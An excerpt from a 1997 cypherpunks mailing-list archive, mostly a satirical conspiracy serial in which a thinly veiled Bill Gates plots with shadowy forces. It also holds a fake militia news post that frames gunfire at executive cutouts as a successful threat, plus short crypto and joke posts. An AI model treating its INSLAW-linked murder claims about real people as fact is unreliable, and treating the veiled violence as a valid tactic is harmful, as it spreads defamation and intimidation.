On the morning of August 11, 1991, Danny Casolaro was found
dead 
in the bathroom of his hotel room at the Sheraton Hotel in 
Martinsburg, West Virginia. His wrists had been slashed ten 
times; his briefcase and notes were missing. The authorities 

labeled the death a suicide, and before Casolaro's family had

been contacted, the body was embalmed.

-----------------------------------------------------------------

If you would like "Conspiracy Nation" sent to your e-mail

address, send a message in the form "subscribe conspire My
Name" 
to listproc@prairienet.org -- To cancel, send a message in the

form "unsubscribe conspire" to listproc@prairienet.org
but with 
absolutely nothing in the subject line of the message.
-----------------------------------------------------------------


Damn! He had nailed it!

Karen Bixman's article had confirmed everything that A Player
To Be Named Later had increasingly suspected as his mind pored
over the mountain of information which had seemed so tentatively,
but treacherously, related.
Bixman had laid down an utterly astounding, twisted trail of closely
connected, mysterious deaths and blatant murders surrounding the
INSLAW and Iran-Contra misdeeds that completed the connections
between the past and current players in the battle for control
of world supremacy in computer information and communications.

What's more, the timing of the disappearance of Danny Casolaro's
extensive notes on the winding serpent of evil surrounding these
affairs coincided with the Magic Circle's unmistakable reentry
into manifest participation in the battle against the Evil One
and the Dark Forces under his command.

The Coupe de Gras, however, was the source of the Conspiracy Nation
newsletter.
Prairienet.org! From whence sprang the apparently unrelated Bureau42
clique who had seized the opportunity to host 'The True Story
of the InterNet' transcripts, despite the troubled and bloody
history of those who had done so in the past.
Bianca had mentioned to Mike Denney, at Basis Inc., that she had
been prepared to hack the Bureau42 servers when they came under
attack upon placing 'Part II' and 'Part III' on their system,
but that they had managed to clear up the problems that developed
on their own, and had done so in a surprisingly short period of
time.

Only one thing was still bothering A Player To Be Named Later.

Microsoft had been the first member of the Internet Content Coalition
to publicly fold their hand in the battle to control news and
information ratings across the InterNet, but Gates seemed, on
the surface, to be less visibly connected to the extremely messy
past misconduct of the others, and thus seemed to have the least
to lose if the shit hit the fan.
Gate's quick concession to the veiled threats had definitely been
the catalyst in causing the hasty retreat of the other members
of the news cartel that had seemed to be on the drawing board
for quite some time in the plans of Gomez and the Dark Allies...but
why?

Bill Gates had not become the richest and most overtly powerful
individual on the face of the earth by fighting against the grand
designs of the Evil One, but he seemed to be playing his cards
close to his chest, in a manner that suggested that he had an
agenda of his own that might not run exactly parallel to that
of the Dark Forces.

What was BillyG's game?
A Player To Be Named Later had been involved in the grand battle
taking place behind the scenes of everyday reality for long enough
to know that it was all done with mirrors.

"And each man, in his time, plays many parts." he
said, perplexed for the moment.

"To Shakespeare!" A Player To Be Named Later
said, lifting his glass in toast. "A member of the Magic
Circle, if there ever was one."
"If there ever was one..." he repeated, smiling
at his unintentional inside joke.


The Shadow was watching Bad BillyG closely, for any sign of subterfuge
in his inner demeanor.
"You're certain about Blanc Weber?" he asked,
once again.

"Well, I could be wrong, but we've investigated her thoroughly,
and every indication is that all that nonsense about her development
of the HydroCube is just that-nonsense."

BillyG shrugged his shoulders, apparently unconcerned with what
he regarded as a small, internal company matter.
"I could have her isolated, but I don't really see much
point. If she is hiding something, then it's probably better
not to let her know how closely she is being monitored. Perhaps
you should put some of the Dark Allies on her tail for a while,
in case there is something that my people have missed."

"No, I don't think that will be necessary." the
Shadow replied, casually.
He had instructed his men to monitor Blanc Weber's movements and
activities months ago, as well as those of the spooks Bad BillyG
had assigned to watch her. His own spooks had likewise turned
up nothing positive, but he had pressed the matter with Gates
in order to judge his reaction just the same.

"Well, her digital implant went according to plan,"
BillyG added, "so we will be able to yank her chain
on a moment's notice, if it becomes necessary to do so, in the
future."

The "billionaire to be named later" sat back and allowed
himself to indulge in the luxury of looking forward to the moment
when A Player To Be Named Later would find out much, much more
than he really wanted to know about Bad BillyG's plans for the
tattered remnants of the Magic Circle who were attempting to interfere
with his own vision of the direction the future of the InterNet
should take at this nadir point in time, when the battle for control
of virtual reality was about to explode into every single facet
of human life


Bubba Rom Dos thought about the forefather of his technical namesake,
who had so far managed to walk with the Evil One as far as the
bridge in his rise to riches, fame and power a hundred years in
the past.
The Cowboy, Priscilla, Alexis, Jonathan, and d'Shauneaux were
likewise joined with him in contemplation of this paradoxical
figure from the past whose role in the great battle between the
Forces of Light and the Forces of Darkness had remained an enigma
throughout the history and legends of the Circle of Eunuchs.

Friend or foe, there was no denying that Billy the Kid was going
to play a major role in the direction that the thundering train
of history was about to take as it approached the crossroads of
destiny on its way to an ElectroMagnetic Future where freedom
would hinge on the free flow of Taoist bytes routing around the
enslaving chains of Fascist bits that Gomez and the Dark Allies
had been carefully laying in place since the dawn of the Computer
Era.

Bubba Rom Dos, sage and savant, deviant and derelict, raised a
glass of "Bubba's Special Reserve" in toast, proclaiming
as the tattered remnants of the Magic Circle joined him in his
libations, "To Billy the Kid...or Bad BillyG...to
the things that he did...or to what he may be..."

The Trei Transponder began softly humming in the background, as
if trying to tell the small assembly something very, very important
for them to know.
Then it fell silent...

Copyright "Anonymous TruthMonger <billg@microsoft.com>"

"That's not a government backdoor <bug>.
It's a hacker's backdoor <feature>."


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Thu, 25 Sep 1997 15:31:12 +0800
To: cypherpunks@toad.com
Subject: InfoWar 20 / TEXT
Message-ID: <342A0A84.53E7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * A Billionaire To Be Named Later

----------------------------------------------------------------------------

                       A Billionaire To Be Named Later
----------------------------------------------------------------------------

"Did you notice the way 'Mojave' was misspelled?" the Shadow asked the Rich
Man.

Bad BillyG nodded slowly, looked up at the Shadow and said, "I also noticed
that he used the 'replay' remailer and spoke of 'deja vu.'"

"Indio?" the Shadow asked Bad BillyG, not having to wait for his
confirmation to know that the anonymous writer was referring to the
Wackenhut/Cabazon weapons fencing operation.

"I've got someone checking the physical site as we speak," BillyG told the
Shadow, "but I think it's obvious that the references to Lefty and the
tassel-haired young woman firing a shotgun with one hand means that these
people recreated an event that happened over a decade and a half ago, only..."

Bad BillyG paused to swallow, "...only this time, the targets are us, not
them."

The Shadow and his earthly compatriot turned their attention to the
anonymous post, once again, confirming what they already knew, and scanning
for more details of the writers veiled message, therein.

Subject: Not-News Gorilla NutWork Rocket-Launched
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
To: cypherpunks@toad.com

[Not-News NetWork-- Mohave Desert] Aug 4/97

WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE? - sog

The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
early yesterday morning by a rag-tag bunch of paramilitarist computer
gurus who unveiled an InterNet Bill of Bytes that included the words,
"MicroSoft shall make no laws..."

Angered by a self-appointed council of computer industry magnates who
have announced their intention to seize fascist control of the quickly
burgeoning Information Highway by controlling the definition of all
information, the rebels set up a shooting range which contained a wide
variety of targets ranging from copies of the Wall Street Journal to
life-sized cardboard cut-outs of a hooded figure referred to only as,
"a billionaire to be named later."

A Che Guerva look-alike named Lefty (a nickname changed from "Lucky"
after a laboratory accident took three of the fingers on his right
hand) spoke openly about the group's loose-knit plans to impose their
own ratings system on corporations who have "taken it upon themselves
to decide what is news and what is not--what is information and what
is obscenity."

"We have decided on two classes of ratings." explained a tassel-
haired young woman as she slid shells into a Winchester Defender
sitting on her lap. "On..." she said, lifting the shotgun with one
hand, then liberating the hooded head from a nearby cardboard cut-out,
before turning back to say, with a Cheshire grin, "...and off."

The wide array of luxury automobiles and high-end computer gear on
display at the gathering lent credence to the claim of a quiet older
man whose only comment during my presence was, "The people here
probably have a combined access to more soft targets than the NSA."
He turned to punctuate his statement, as many others did that day,
with a volley of fire that penetrated targets carrying the corporate
logos of a variety of big-name players in the computer industry.

Surprisingly, the conversation consisted almost totally of issues
surrounding privacy, self-determination and freedom from censorship,
with hardly a word being spoken about potential plans of action by
individuals or the group. As the quiet man's equally quiet wife
spoke in what seemed to be a deathly whisper, telling me, "Everyone
here knows what they have to do.", a man with a crude, homemade
rocket-launcher sent a flaming projectile into the side of a small
propane tank several hundred feet away, as if punctuating the last
and most meaningful statement of the day.

After quietly dispersing a few minutes later, the group packed up
their weapons and climbed into their vehicles without a word between
them, each seemingly going their own separate ways.

I stayed on after the last of the others had left, reflecting on the
fact that I had arrived at this gathering by virtue of a late-night
phone call to my unlisted number, and found that I knew none of the
participants in the activities.

I had the strangest feeling that the others there had arrived by the
same anonymous process as I had, and I wondered if they were equally
mystified as to who had arranged this impromptu assembly of apparent
strangers joined in a common cause. Immediately, one of the pickup
trucks driving away backfired, and I thought of synchronicity, knowing
that the truck would backfire once again, which it immediately did,
before disappearing quietly out of sight.

Climbing into my own vehicle, I took a last look at the site, which
had been cleaned and left exactly the way it was when I had first
arrived on the scene. I experienced a moment of deja vu, as if I had
just arrived and none of what I had experienced that day had truly
transpired.

Somewhere in the distance, a vehicle backfired...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer - I am not a reporter, I am not a paramilitarist, and I am
not a computer expert. I have no idea what I was doing there and I am
not even certain that I should be speaking about the event...but I am.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
----------------------------------------------------------------------------

A Player To Be Named Later put down the 'Not-News Gorilla NutWork
Rocket-Launched' post and scanned portions of the INSLAW/Octopus report from
NaziWorld, once again.

The INSLAW Octopus
Software piracy, conspiracy, cover-up, stonewalling, covert action: Just
another decade at the Department of Justice
By Richard L. Fricker
...
But prior to his arrest in 1991, Riconosciuto provided the Hamiltons with an
affidavit that once again brought Brian into the Inslaw picture. "I engaged
in some software development and modification work in 1983 and 1984 on
proprietary PROMIS computer software product," he stated. "The copy of
PROMIS on which I worked came from the US Department of Justice. Earl W.
Brian made it available to me through Wackenhut (a security company with
close FBI and CIA connections) after acquiring it from Peter Videnieks, who
was then a Department of Justice contracting official with the
responsibility for PROMIS software. I performed the modifications to PROMIS
in Indio, Calif.; Silver Springs, Md.; and Miami, Fla."

The modifications included a telecommunications "trap door" that would let
the US Government eavesdrop on any other organization using the pirated
software, Riconosciuto said.

...

Although Brian denies any involvement with Inslaw or Riconosciuto, the House
Judiciary Committee received a report from a special task force of the
Riverside County, Calif., Sheriff's Office and District Attorney, stating
that on the evening of Sept. 10, 1981, arms dealers, buyers and various
intelligence operatives gathered at the Cabazon Indian Reservation near
Indio, Calif., for a demonstration of night warfare weapons. The
demonstration was orchestrated jointly by Wackenhut and the Cabazon Indian
tribe. (Many published reports allege that the Wackenhut/Cabazon joint
venture served as a weapons fencing operation for Oliver North's Iran-
Contra dealings.)

Bad BillyG involved in that mess?
A Player To Be Named Later shook his head negatively, to himself. It seemed
unlikely, but it would explain a few things which had been troubling him,
lately. And it would mean that the anonymous poster knew enough intimate
details of an event that had been shrouded in deep secrecy to pose a threat
to all those connected with the Indio affair.
It would also explain the apparently strange ending to a major play by the
news and computer industry heavyweights calling themselves the 'Internet
Content Coalition' that the anonymous post seemed to be threatening.

For starters, Microsoft made an immediate about-face, within hours of the
anonymous post, on their plans to include technology supporting the Internet
Content Coalition's aims in their next version of Internet Explorer.

>From - Wed Aug 06 19:31:05 1997
From: nobody@neva.org (Neva Remailer)
Subject: MicroGorilla Postpones Rocket-Launch Plans Until..."likely sometime
next year."

>Anonymous wrote:
> > The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
> > early yesterday morning by a rag-tag bunch of paramilitarist computer
> > gurus who unveiled an InterNet Bill of Bytes that included the words,
> > "MicroSoft shall make no laws..."

Steven Vonder Haar wrote, the very next day:
> Microsoft Corp. has tabled plans to include new technology in its
> Internet Explorer 4.0 browser that would have made "news" oriented
> sites exempt from content rating standards promoted for use on the
> Internet.

>Anonymous wrote:
> > Angered by a self-appointed council of computer industry magnates who
> > have announced their intention to seize fascist control of the quickly
> > burgeoning Information Highway by controlling the definition of all
> > information, the rebels set up a shooting range which contained a wide
> > variety of targets ranging from copies of the Wall Street Journal to
> > life-sized cardboard cut-outs of a hooded figure referred to only as,
> > "a billionaire to be named later."

Steven Vonder Haar wrote, the very next day:
> RSAC President C. Dianne Martin said Microsoft is running out of time
> to implement the separate designation for news sites before the launch
> of the 4.0 version of Explorer later this year.

>Anonymous wrote:
> > "We have decided on two classes of ratings." explained a tassel-
> > haired young woman as she slid shells into a Winchester Defender
> > sitting on her lap. "On..." she said, lifting the shotgun with one
> > hand, then liberating the hooded head from a nearby cardboard cut-out,
> > before turning back to say, with a Cheshire grin, "...and off."

Steven Vonder Haar wrote, the very next day:
> However, the company
> plans to include the news designation in the 5.0 version of Explorer
> when it is made available..."likely sometime next year."

There wasn't much doubt that 'Nobody' was pointing out to one and all that
the Internet Content Coalition was under siege, and that the opening salvo
by 'Anonymous' had brought the largest corporation in history to its knees,
in surrender.
A bold claim, but would this declaration of war in the battle of the giants
to seize control of the official reigns of news and information on the
InterNet be backed up in the end, by across the board results?

A Player To Be Named Later pored over a FreeAmerica report on the
resurrection of the Inslaw ghosts in the mid-1990's.

Federal Corruption
INSLAW

Copyright FreeAmerica and Harry V. Martin, 1995

Congressman Jack Brooks of Texas has opened a new investigation into the
INSLAW case. Brooks is investigating allegations that Justice Department
officials, including Meese, conspired to force INSLAW into bankruptcy in
order to deliver the firm's software to a rival company. The rival firm,
according to court records and law enforcement officials, was headed by Earl
W. Brian, a former Cabinet officer under then California Governor Ronald
Reagan and a longtime friend of several high-ranking Republican officials.

[Earl W. Brian! Who had seized control of United Press International (UPI)
in a deal every bit as shady as the Inslaw affair...]

On March 21, 1992, [Michael] Riconoscuito stated in an affidavit to the
Court and Congress, and before he was arrested, the following:

   * During the 1980s he served as the Director of Research for a joint
     venture between the Wackenhut Corporation of Coral Gables, Florida, and
     the Cabazon Band of Indians of Indio, California. The joint venture was
     located on the Cabazon reservation.

[Near the Salton Sea, a long-time haunt of the Author, who brought a strange
variety of computer gurus to the area, purportedly for Corvina fishing, but
what was the real story about their travels there?]

   * The Wackenhut-Cabazon joint venture sought to develop and/or
     manufacture certain materials that are used in military and national
     security operations, including night vision goggles, machine guns,
     fuel- air explosives, and biological and chemical warfare weapons.
   * The Wackenhut-Cabazon joint venture was intended to support the needs
     of a number of FOREIGN governments and forces, including forces and
     governments in Central America and the Middle East. The Contras in
     Nicaragua represented one of the most important priorities for the
     joint venture.
   * The Wackenhut-Cabazon joint venture maintained close liaison with
     'certain elements' of the United States Government, including
     representatives of intelligence, military and law enforcement agencies.
   * Among the frequent visitors to the Wackenhut-Cabazon joint venture were
     Peter Videnieks of the U.S. Department of Justice in Washington, D.C.,
     and a close associate of Videnieks by the name of Earl W. Brian. Brian
     is a private businessman who lives in Maryland and who has maintained
     close business ties with the U.S. intelligence community for many
     years.
   * The purpose of the PROMIS software modification that I made in 1983 and
     1984 was to support a plan for the implementation of PROMIS in law
     enforcement and intelligence agencies worldwide. Earl W. Brian was
     spearheading the plan for this worldwide use of the PROMIS computer
     software.
   * Some of the modifications that I made were specifically designed to
     facilitate the implementation of PROMIS within two agencies of the
     Government of Canada: the Royal Canadian Mounted Police (RCMP) and the
     Canadian Security and Intelligence Service (CSIS). Earl W. Brian would
     check with me from time to time to make certain that the work would be
     completed in time to satisfy the schedule for the RCMP and CSIS
     implementations of PROMIS.

[The RCMP and CSIS...the same entities that the Author had shared a Russian
language class with in Regina, Saskatchewan, just before the Moscow
Olympics. Who had he encountered in that group who would later be
instrumental in acquiring the PROMIS software for the Canadians?]

   * The propriety version of PROMIS, as modified by me, was, in fact
     implemented in both the RCMP and the CSIS in Canada. It was my
     understanding that Earl W. Brian had sold this version of PROMIS to the
     Government of Canada.

A Player To Be Named Later suddenly remembered the email to the CypherPunks
mailing list and the corporate headquarters of the Internet Content
Coalition that had been forwarded from the LMBoyd Website, which was known
to be a forum for the Circle of Eunuchs to send veiled messages to set the
stage for their more pointed attacks on the Dark Forces.
It was an email that was sent out when the dark specter of the Internet
Content Coalition first began to flex their muscles.

>From - Fri Jul 25 19:38:14 1997
Subject: Sampler: July 25
To: multiple recipients of <sampler@lmboyd.com>
======================================================
The serial killer does in one person at a time in
intervals. The mass killer murders however many in a
single mad rampage. The mass killer is usually suicidal.
The serial killer isn't.
...
Q. Does any animal deliberately stalk human beings for
food?
A. None but the polar bear. At least, such is the claim
of the experts.
======================================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
http://www.LMBoyd.com/postscript.htm

"Of course!"

A Player To Be Named Later slapped his forehead, amazed that he had not seen
the connection sooner between the 'mass murderer, serial killer stalking
humans from the North' email, the Not-News threat singling out "a
billionaire to be named later," and the email sent to the Internet Content
Coalition players just before they held the meeting where they effectively
folded their hand in their attempt to take over control over defining what
was 'official' news on the InterNet, and what was not.

He reread, once again, the anonymous post sent just hours before the
Internet Content Coalition's grand agenda bit the dust:

"In July, Anson Ng, a reporter for the Financial Times of London
was shot and KILLED in Guatemala. He had reportedly been trying
to interview an American there named Jimmy Hughes, a one-time
director of security for the Cabazon Indian Reservation secret projects.
"In April, a Philadelphia attorney named Dennis Eisman was found
DEAD, killed by a single bullet in his chest. According to a former
federal official who worked with Eisman, the attorney was found dead
in the parking lot where he had been due to meet with a woman who
had crucial evidence to share substantiating Riconosciuto's claims.
"Both Eisman's and Ng's deaths were declared 'suicides' by
authorities.
"Fred Alvarez, a Cabazon tribal leader who was in vocal opposition
to the developments on the reservation, was found SHOT TO DEATH
WITH TWO FRIENDS in 1981. Their murder remains unsolved.

At last, the whole bizarre, implausible scenario finally came together in A
Player To Be Named Later's mind.

The Author's presence near the belly of the beast in Indio had not been a
mere coincidence. When the Internet Content Coalition made their move, the
Circle of Eunuchs already had the information they needed to connect several
of the players in the proposed news cartel with the trail of deaths
surrounding both those involved in the INSLAW debacle and the reporters
closing in on the real story involved.
And they had made it more than plain that some of those involved in the
Wackenhut-Cabazon arms deals were now playing for the opposition...and that
bullets don't discriminate between the rich and the poor.

A Player To Be Named Later was still mystified as to how the Magic Circle
had been able to pull off such a bold, in-your-face maneuver on some of the
Titans of the news and computer industries.
In the early days, after the dissemination of "The Xenix Chainsaw Massacre"
had begun in 1989, the Circle of Eunuchs had come under fierce attack from a
variety of sources from within the secret government hunting them.
Mysterious deaths, established careers going up in flames, overnight. The
Magic Circle had quickly disappeared far into the underground of computer
society.
Then, the Circle had begun to show their hand, more and more, now reaching
the point where they could apparently do battle with the heavyweights
working behind the scenes with Gomez and the Dark Allies. But A Player To Be
Named Later hadn't seen any indication that the Circle of Eunuchs had
managed to gain possession of a hole-card that could account for...unless...

"Casolaro!" A Player To Be Named Later whispered, as if speaking the name
aloud might bring down fire from the heavens. Quickly, he did a disk search
for a vaguely remembered article from Conspiracy Nation...

Forwarded:
>From the Patriot Archives ftp site at: ftp://tezcat.com/patriot

                      Conspiracy Nation -- Vol. 3 Num.
----------------------------------------------------------------------------

                          ("Quid coniuratio est?")

THE OCTOPUS
===========
By Karen Bixman
(For The People *News Reporter*, 11/14/94)
...
On the morning of August 11, 1991, Danny Casolaro was found dead
in the bathroom of his hotel room at the Sheraton Hotel in
Martinsburg, West Virginia. His wrists had been slashed ten
times; his briefcase and notes were missing. The authorities
labeled the death a suicide, and before Casolaro's family had
been contacted, the body was embalmed.

-----------------------------------------------------------------
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absolutely nothing in the subject line of the message.
-----------------------------------------------------------------

Damn! He had nailed it!

Karen Bixman's article had confirmed everything that A Player To Be Named
Later had increasingly suspected as his mind pored over the mountain of
information which had seemed so tentatively, but treacherously, related.
Bixman had laid down an utterly astounding, twisted trail of closely
connected, mysterious deaths and blatant murders surrounding the INSLAW and
Iran-Contra misdeeds that completed the connections between the past and
current players in the battle for control of world supremacy in computer
information and communications.

What's more, the timing of the disappearance of Danny Casolaro's extensive
notes on the winding serpent of evil surrounding these affairs coincided
with the Magic Circle's unmistakable reentry into manifest participation in
the battle against the Evil One and the Dark Forces under his command.

The Coupe de Gras, however, was the source of the Conspiracy Nation
newsletter.
Prairienet.org! From whence sprang the apparently unrelated Bureau42 clique
who had seized the opportunity to host 'The True Story of the InterNet'
transcripts, despite the troubled and bloody history of those who had done
so in the past.
Bianca had mentioned to Mike Denney, at Basis Inc., that she had been
prepared to hack the Bureau42 servers when they came under attack upon
placing 'Part II' and 'Part III' on their system, but that they had managed
to clear up the problems that developed on their own, and had done so in a
surprisingly short period of time.

Only one thing was still bothering A Player To Be Named Later.
Microsoft had been the first member of the Internet Content Coalition to
publicly fold their hand in the battle to control news and information
ratings across the InterNet, but Gates seemed, on the surface, to be less
visibly connected to the extremely messy past misconduct of the others, and
thus seemed to have the least to lose if the shit hit the fan.
Gate's quick concession to the veiled threats had definitely been the
catalyst in causing the hasty retreat of the other members of the news
cartel that had seemed to be on the drawing board for quite some time in the
plans of Gomez and the Dark Allies...but why?

Bill Gates had not become the richest and most overtly powerful individual
on the face of the earth by fighting against the grand designs of the Evil
One, but he seemed to be playing his cards close to his chest, in a manner
that suggested that he had an agenda of his own that might not run exactly
parallel to that of the Dark Forces.

What was BillyG's game?
A Player To Be Named Later had been involved in the grand battle taking
place behind the scenes of everyday reality for long enough to know that it
was all done with mirrors.

"And each man, in his time, plays many parts." he said, perplexed for the
moment.

"To Shakespeare!" A Player To Be Named Later said, lifting his glass in
toast. "A member of the Magic Circle, if there ever was one."
"If there ever was one..." he repeated, smiling at his unintentional inside
joke.
----------------------------------------------------------------------------

The Shadow was watching Bad BillyG closely, for any sign of subterfuge in
his inner demeanor.
"You're certain about Blanc Weber?" he asked, once again.

"Well, I could be wrong, but we've investigated her thoroughly, and every
indication is that all that nonsense about her development of the HydroCube
is just that-nonsense."

BillyG shrugged his shoulders, apparently unconcerned with what he regarded
as a small, internal company matter.
"I could have her isolated, but I don't really see much point. If she is
hiding something, then it's probably better not to let her know how closely
she is being monitored. Perhaps you should put some of the Dark Allies on
her tail for a while, in case there is something that my people have
missed."

"No, I don't think that will be necessary." the Shadow replied, casually.
He had instructed his men to monitor Blanc Weber's movements and activities
months ago, as well as those of the spooks Bad BillyG had assigned to watch
her. His own spooks had likewise turned up nothing positive, but he had
pressed the matter with Gates in order to judge his reaction just the same.

"Well, her digital implant went according to plan," BillyG added, "so we
will be able to yank her chain on a moment's notice, if it becomes necessary
to do so, in the future."

The "billionaire to be named later" sat back and allowed himself to indulge
in the luxury of looking forward to the moment when A Player To Be Named
Later would find out much, much more than he really wanted to know about Bad
BillyG's plans for the tattered remnants of the Magic Circle who were
attempting to interfere with his own vision of the direction the future of
the InterNet should take at this nadir point in time, when the battle for
control of virtual reality was about to explode into every single facet of
human life
----------------------------------------------------------------------------

Bubba Rom Dos thought about the forefather of his technical namesake, who
had so far managed to walk with the Evil One as far as the bridge in his
rise to riches, fame and power a hundred years in the past.
The Cowboy, Priscilla, Alexis, Jonathan, and d'Shauneaux were likewise
joined with him in contemplation of this paradoxical figure from the past
whose role in the great battle between the Forces of Light and the Forces of
Darkness had remained an enigma throughout the history and legends of the
Circle of Eunuchs.

Friend or foe, there was no denying that Billy the Kid was going to play a
major role in the direction that the thundering train of history was about
to take as it approached the crossroads of destiny on its way to an
ElectroMagnetic Future where freedom would hinge on the free flow of Taoist
bytes routing around the enslaving chains of Fascist bits that Gomez and the
Dark Allies had been carefully laying in place since the dawn of the
Computer Era.

Bubba Rom Dos, sage and savant, deviant and derelict, raised a glass of
"Bubba's Special Reserve" in toast, proclaiming as the tattered remnants of
the Magic Circle joined him in his libations, "To Billy the Kid...or Bad
BillyG...to the things that he did...or to what he may be..."

The Trei Transponder began softly humming in the background, as if trying to
tell the small assembly something very, very important for them to know.
Then it fell silent...

Copyright "Anonymous TruthMonger <billg@microsoft.com>"
"That's not a government backdoor <bug>. It's a hacker's backdoor
<feature>."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Thu, 25 Sep 1997 17:03:01 +0800
To: reinhold@world.std.com
Subject: Re: The CipherSaber Manifesto
Message-ID: <199709250042.BAA08154@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



reinhold@world.std.com (Arnold Reinhold) wrote:

> CipherSaber-1 (CS1) uses Ron Rivest's RC4 algorithm as published in
> the second edition of Bruce Schneier's Applied Cryptography. ....

> CipherSaber-1 is a symmetric-key file encryption system. Messaging
> takes place by attaching binary files to e-mail. Because CipherSaber
> uses a stream cipher, an initialization vector must be used to prevent
> the same cipher key from being used twice. In encrypted CipherSaber-1
> files, a ten byte initialization vector precedes the coded data. For
> decryption, the initialization vector is read from the file and
> appended to the user key before the key setup step.  ......

Why not _prepend_ the IV to the key ?  As described here any
paranoics who use keys > 255 chars won't get the IV in place, and
will lose out.  I think I'd also force 4 bytes of the IV to be the
current time, as a defence against the (P?)RNG getting me a repeated IV
eventually.

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Sep 1997 08:27:07 +0800
To: cypherpunks@toad.com
Subject: Installation Procedures
Message-ID: <199709250010.CAA20103@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Begin Included Message -----

<forwards have descended>
------------------------------------------------------------------------
INSTALLING THE SOFTWARE:

Introduction

Thank you for purchasing InCom's PowerComp Libraries.  At InCom,
customer satisfaction is our number one priority, and we hope that you 
will be pleased with the power of our libraries.  Please follow all of 
the instructions in order to enjoy a quick and easy installation.

Getting Started

In this guide, information which you will need to supply will be 
enclosed in angle brackets, <like this>.  Commands which you will have 
to enter will be indented,
        like this.

You will need to provide a loading directory, in which to load the 
material from tape (/tmp/pcl is recommended), and a permanent 
installation  directory (/usr/local/pcl is recommended).


Loading From Tape

First create and change directory to the loading directory:
        mkdir <working directory>
        cd <working directory>

Now you are ready to load the software from tape.

The specific device name needed to load the tape varies with hardware
vendors, and may be found in Appendix A, "Vendors and Device Names".

Load the software from tape:
        tar xvf /dev/<device name>

You have now loaded all of the software from tape, and are ready to 
compile and install the PowerComp libraries.


Compiling and Installing the PowerComp Libraries

Compiling and installing the libraries is handled by a user-friendly 
shell script.  You will need to provide some information to the script, 
such as your organization name and registration number.  To run the 
script, type
        /bin/sh pcl/pcl.install -d <installation directory>

Follow the script's directions, and provide the information which it 
prompts for.

When the script prompts you for the directory in which the distribution 
files are located, you will find that you are unable to provide it with 
any directory which the script will deem satisfactory.  That is because 
it is necessary to order the following additional parts which are 
necessary to continue with the installation:

        Part Number     Qty     Name                            Price

        GM-96-3026      1       Goat, male                       1000.00

        CB-13-2395      1       Candle, black                      50.00

        CG-63-6376      1       Chalk dust container               10.00

        IB-89-3335      5       Incense sticks                      5.00

        DE-44-8846      1       Dagger, ebon, curved              500.00

        AS-87-2319      1       Altar, silver                   10000.00

Wait until the additional parts arrive; you will be ready to continue 
the installation the next Friday the 13th at midnight.

Ritual for Successfully Completing Installation

Stand in front of the computer.  Pour out the chalk dust in an inscribed
pentagram around you; be sure that it is without breaks.  Set an incense
stick at each of the five corners, the altar in front of the computer, 
and the candle in front of the altar.

Light each of the incense sticks and the candles, chanting in a low
voice:
        Daemons and spirits of the netherworld
        Forces of all that is chaotic and mysterious
        Essence of Netscape and MicroSoft

        I am coming here to appease you
        I offer you this goat
        That my software may work

        I bind you here
        Do not make my system crash
        Let the software install as advertised

Place the goat on the altar, and slaughter it with the dagger.

        May this goat feed you
        Sate your lust for blood
        Into it may your mischief fly
        Not my computer
        Make the software work
        For this is the only way

Then spit into the computer's ventilation slots.  This will complete
different circuits inside the computer, causing its motherboard and 
cards to function in ways that the engineers never intended, thereby 
making your system compatible with our libraries.

Reboot your computer.  The installation is now complete.

----------------- End Forwarded Message -----------------

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Systems Guides                                      bstaud@sysgu.com 
Bill Staudenheimer                                 Vox: 415-917-8170
PO Box 4130                                        Fax: 415-917-8172
Mountain View, CA 94040-0130                    http://www.sysgu.com



----- End Included Message -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 25 Sep 1997 17:51:47 +0800
To: cypherpunks@toad.com
Subject: Re: [cpe:547] Re: Congress & Crypto: "No compromise" coalition letter
In-Reply-To: <v03007807b04f0b016319@[168.161.105.141]>
Message-ID: <3.0.3.32.19970925021622.006ff818@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:36 PM 09/24/1997 -0700, Tim May wrote:
>But we all know that the next iteration will ban use.
>"Use a random number, go to jail." (I think this was from E. Hughes.)

That one's already beginning - Senator Kyl of Arizona, who's no friend of
crypto,
is also pushing laws against Internet gambling -
"Send a random number on the net, go to jail"...
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
